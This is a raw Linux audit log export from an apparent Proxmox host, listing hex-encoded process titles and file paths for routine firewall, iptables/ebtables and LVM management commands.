proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=PATH msg=audit(1781964163.135:59846): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.452:62351): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=PATH msg=audit(1781964163.135:59845): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.452:62350): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=PATH msg=audit(1781964163.135:59844): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964734.305:62349): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=PATH msg=audit(1781964159.526:59843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734273,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964734.273:62348): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=PATH msg=audit(1781964159.526:59843): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964730.446:62347): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=PATH msg=audit(1781964159.526:59842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964730.446:62346): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=PATH msg=audit(1781964159.526:59842): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964730.446:62345): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964159525,"@rawstring":"node=pve type=PATH msg=audit(1781964159.525:59841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964730.439:62344): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964159525,"@rawstring":"node=pve type=PATH msg=audit(1781964159.525:59841): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964730.439:62343): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=PATH msg=audit(1781964158.129:59840): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964730.439:62342): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=PATH msg=audit(1781964158.129:59840): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.943:62341): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=PATH msg=audit(1781964158.129:59839): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.940:62340): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=PATH msg=audit(1781964158.129:59838): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.939:62339): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=PATH msg=audit(1781964158.122:59837): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.939:62338): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=PATH msg=audit(1781964158.122:59837): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725935,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.935:62337): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=PATH msg=audit(1781964158.122:59836): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725928,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.928:62336): proctitle=\"ip6tables-save\""} {"@timestamp":1781964158122,"@rawstring":"node=pve type=PATH msg=audit(1781964158.122:59835): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.922:62335): proctitle=\"iptables-save\""} {"@timestamp":1781964155953,"@rawstring":"node=pve type=PATH msg=audit(1781964155.953:59834): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.916:62334): proctitle=\"ip6tables-save\""} {"@timestamp":1781964155953,"@rawstring":"node=pve type=PATH msg=audit(1781964155.953:59834): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.910:62333): proctitle=\"iptables-save\""} {"@timestamp":1781964155950,"@rawstring":"node=pve type=PATH msg=audit(1781964155.950:59833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.906:62332): proctitle=\"ebtables-restore\""} {"@timestamp":1781964155950,"@rawstring":"node=pve type=PATH msg=audit(1781964155.950:59833): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.904:62331): proctitle=\"ebtables-restore\""} {"@timestamp":1781964155949,"@rawstring":"node=pve type=PATH msg=audit(1781964155.949:59832): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.899:62330): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964155949,"@rawstring":"node=pve type=PATH msg=audit(1781964155.949:59832): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.895:62329): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964155949,"@rawstring":"node=pve type=PATH msg=audit(1781964155.949:59831): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.890:62328): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964155945,"@rawstring":"node=pve type=PATH msg=audit(1781964155.945:59830): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.884:62327): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964155945,"@rawstring":"node=pve type=PATH msg=audit(1781964155.945:59830): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.880:62326): proctitle=697073657400726573746F7265"} {"@timestamp":1781964155945,"@rawstring":"node=pve type=PATH msg=audit(1781964155.945:59830): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.874:62325): proctitle=\"ip6tables-save\""} {"@timestamp":1781964155938,"@rawstring":"node=pve type=PATH msg=audit(1781964155.938:59829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.868:62324): proctitle=\"iptables-save\""} {"@timestamp":1781964155938,"@rawstring":"node=pve type=PATH msg=audit(1781964155.938:59829): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.864:62323): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964155931,"@rawstring":"node=pve type=PATH msg=audit(1781964155.931:59828): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.860:62322): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964155931,"@rawstring":"node=pve type=PATH msg=audit(1781964155.931:59828): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.860:62321): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964155925,"@rawstring":"node=pve type=PATH msg=audit(1781964155.925:59827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.860:62320): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964155925,"@rawstring":"node=pve type=PATH msg=audit(1781964155.925:59827): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725857,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.857:62319): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964155917,"@rawstring":"node=pve type=PATH msg=audit(1781964155.917:59826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.850:62318): proctitle=\"ip6tables-save\""} {"@timestamp":1781964155917,"@rawstring":"node=pve type=PATH msg=audit(1781964155.917:59826): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.844:62317): proctitle=\"iptables-save\""} {"@timestamp":1781964155912,"@rawstring":"node=pve type=PATH msg=audit(1781964155.912:59824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.840:62316): proctitle=69707365740073617665"} {"@timestamp":1781964155912,"@rawstring":"node=pve type=PATH msg=audit(1781964155.912:59824): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.834:62315): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964155907,"@rawstring":"node=pve type=PATH msg=audit(1781964155.907:59823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.828:62314): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964155907,"@rawstring":"node=pve type=PATH msg=audit(1781964155.907:59823): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.429:62313): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155901,"@rawstring":"node=pve type=PATH msg=audit(1781964155.901:59822): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.429:62312): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155901,"@rawstring":"node=pve type=PATH msg=audit(1781964155.901:59822): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.429:62311): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155896,"@rawstring":"node=pve type=PATH msg=audit(1781964155.896:59821): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.417:62310): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155896,"@rawstring":"node=pve type=PATH msg=audit(1781964155.896:59821): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.417:62309): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155890,"@rawstring":"node=pve type=PATH msg=audit(1781964155.890:59820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964725.417:62308): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155890,"@rawstring":"node=pve type=PATH msg=audit(1781964155.890:59820): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964724.196:62307): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964155884,"@rawstring":"node=pve type=PATH msg=audit(1781964155.884:59819): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964724.172:62306): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964155884,"@rawstring":"node=pve type=PATH msg=audit(1781964155.884:59819): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964720.403:62305): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155878,"@rawstring":"node=pve type=PATH msg=audit(1781964155.878:59818): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964720.403:62304): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155878,"@rawstring":"node=pve type=PATH msg=audit(1781964155.878:59818): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964720.403:62303): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155871,"@rawstring":"node=pve type=PATH msg=audit(1781964155.871:59817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964720.397:62302): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155871,"@rawstring":"node=pve type=PATH msg=audit(1781964155.871:59817): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964720.397:62301): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155867,"@rawstring":"node=pve type=PATH msg=audit(1781964155.867:59816): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964720.397:62300): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964155867,"@rawstring":"node=pve type=PATH msg=audit(1781964155.867:59816): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715816,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.816:62299): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964155864,"@rawstring":"node=pve type=PATH msg=audit(1781964155.864:59815): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.813:62298): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964155864,"@rawstring":"node=pve type=PATH msg=audit(1781964155.864:59815): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.812:62297): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964155863,"@rawstring":"node=pve type=PATH msg=audit(1781964155.863:59814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.812:62296): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964155863,"@rawstring":"node=pve type=PATH msg=audit(1781964155.863:59814): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.808:62295): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964155863,"@rawstring":"node=pve type=PATH msg=audit(1781964155.863:59813): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.802:62294): proctitle=\"ip6tables-save\""} {"@timestamp":1781964155859,"@rawstring":"node=pve type=PATH msg=audit(1781964155.859:59812): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 